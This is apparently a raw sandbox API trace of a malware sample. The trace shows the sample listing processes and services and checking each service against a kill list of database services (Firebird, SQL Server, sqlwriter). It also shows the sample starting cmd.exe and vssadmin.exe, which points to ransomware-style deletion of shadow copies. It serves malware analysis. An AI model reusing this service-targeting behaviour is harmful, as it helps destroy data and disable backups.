	[0173.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0173.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0173.803] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0173.803] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0173.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.803] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x540
	[0174.593] Process32FirstW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0174.593] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0174.594] lstrlenW (lpString="System") returned 6
	[0174.594] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0174.594] lstrlenW (lpString="smss.exe") returned 8
	[0174.594] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0174.595] lstrlenW (lpString="csrss.exe") returned 9
	[0174.595] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0174.595] lstrlenW (lpString="wininit.exe") returned 11
	[0174.595] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0174.595] lstrlenW (lpString="csrss.exe") returned 9
	[0174.595] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0174.596] lstrlenW (lpString="winlogon.exe") returned 12
	[0174.596] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0174.596] lstrlenW (lpString="services.exe") returned 12
	[0174.596] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0174.597] lstrlenW (lpString="lsass.exe") returned 9
	[0174.597] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0174.597] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0174.597] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0174.598] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0174.598] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.598] lstrlenW (lpString="svchost.exe") returned 11
	[0174.598] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.598] lstrlenW (lpString="svchost.exe") returned 11
	[0174.598] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0174.599] lstrlenW (lpString="dwm.exe") returned 7
	[0174.599] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.599] lstrlenW (lpString="svchost.exe") returned 11
	[0174.599] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.600] lstrlenW (lpString="svchost.exe") returned 11
	[0174.600] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.600] lstrlenW (lpString="svchost.exe") returned 11
	[0174.600] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.601] lstrlenW (lpString="svchost.exe") returned 11
	[0174.601] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.602] lstrlenW (lpString="svchost.exe") returned 11
	[0174.602] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.602] lstrlenW (lpString="svchost.exe") returned 11
	[0174.602] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.602] lstrlenW (lpString="svchost.exe") returned 11
	[0174.603] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.603] lstrlenW (lpString="svchost.exe") returned 11
	[0174.603] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.604] lstrlenW (lpString="svchost.exe") returned 11
	[0174.604] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.605] lstrlenW (lpString="svchost.exe") returned 11
	[0174.605] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0174.605] lstrlenW (lpString="spoolsv.exe") returned 11
	[0174.605] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.606] lstrlenW (lpString="svchost.exe") returned 11
	[0174.606] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0174.606] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0174.606] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0174.607] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0174.607] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0174.607] lstrlenW (lpString="audiodg.exe") returned 11
	[0174.607] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0174.607] lstrlenW (lpString="Memory Compression") returned 18
	[0174.607] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0174.608] lstrlenW (lpString="taskhostw.exe") returned 13
	[0174.608] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0174.608] lstrlenW (lpString="sihost.exe") returned 10
	[0174.608] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.609] lstrlenW (lpString="svchost.exe") returned 11
	[0174.609] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0174.609] lstrlenW (lpString="taskhostw.exe") returned 13
	[0174.609] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0174.610] lstrlenW (lpString="explorer.exe") returned 12
	[0174.610] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0174.610] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0174.610] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0174.610] lstrlenW (lpString="SearchUI.exe") returned 12
	[0174.610] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0174.611] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0174.611] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0174.611] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0174.611] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0174.612] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0174.612] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0174.612] lstrlenW (lpString="cmd.exe") returned 7
	[0174.612] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0174.613] lstrlenW (lpString="conhost.exe") returned 11
	[0174.613] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0174.613] lstrlenW (lpString="vssadmin.exe") returned 12
	[0174.613] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0174.613] lstrlenW (lpString="consent.exe") returned 11
	[0174.613] Process32NextW (in: hSnapshot=0x540, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0174.614] CloseHandle (hObject=0x540) returned 1
	[0174.614] Sleep (dwMilliseconds=0x1f4) 
	[0175.929] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929c00
	[0175.944] EnumServicesStatusExW (in: hSCManager=0x3929c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0175.944] GetLastError () returned 0xea
	[0175.944] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x4094fb8
	[0175.945] EnumServicesStatusExW (in: hSCManager=0x3929c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4094fb8, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4094fb8, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0175.945] CloseServiceHandle (hSCObject=0x3929c00) returned 1
	[0175.946] lstrlenW (lpString="Appinfo") returned 7
	[0175.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0175.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0175.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0175.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0175.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0175.946] lstrlenW (lpString="AppXSvc") returned 7
	[0175.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0175.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0175.946] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0175.946] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0175.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0175.946] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0175.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0175.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0175.946] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0175.946] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0175.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0175.946] lstrlenW (lpString="Audiosrv") returned 8
	[0175.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0175.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0175.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0175.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0175.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0175.946] lstrlenW (lpString="BFE") returned 3
	[0175.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0175.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0175.947] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0175.947] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0175.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0175.947] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0175.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0175.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0175.947] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0175.947] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0175.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0175.947] lstrlenW (lpString="CDPSvc") returned 6
	[0175.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0175.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0175.947] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0175.947] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0175.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0175.947] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0175.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0175.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0175.947] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0175.947] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0175.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0175.947] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0175.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0175.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0175.949] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0175.949] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0175.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0175.949] lstrlenW (lpString="CryptSvc") returned 8
	[0175.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.949] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0175.949] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0175.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0175.949] lstrlenW (lpString="DcomLaunch") returned 10
	[0175.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.950] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0175.950] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0175.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0175.950] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0175.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.950] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0175.950] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0175.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0175.950] lstrlenW (lpString="Dhcp") returned 4
	[0175.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0175.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0175.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0175.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0175.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0175.950] lstrlenW (lpString="Dnscache") returned 8
	[0175.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0175.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0175.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0175.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0175.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0175.950] lstrlenW (lpString="DPS") returned 3
	[0175.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0175.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0175.950] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0175.950] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0175.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0175.951] lstrlenW (lpString="DusmSvc") returned 7
	[0175.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.951] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0175.951] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0175.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
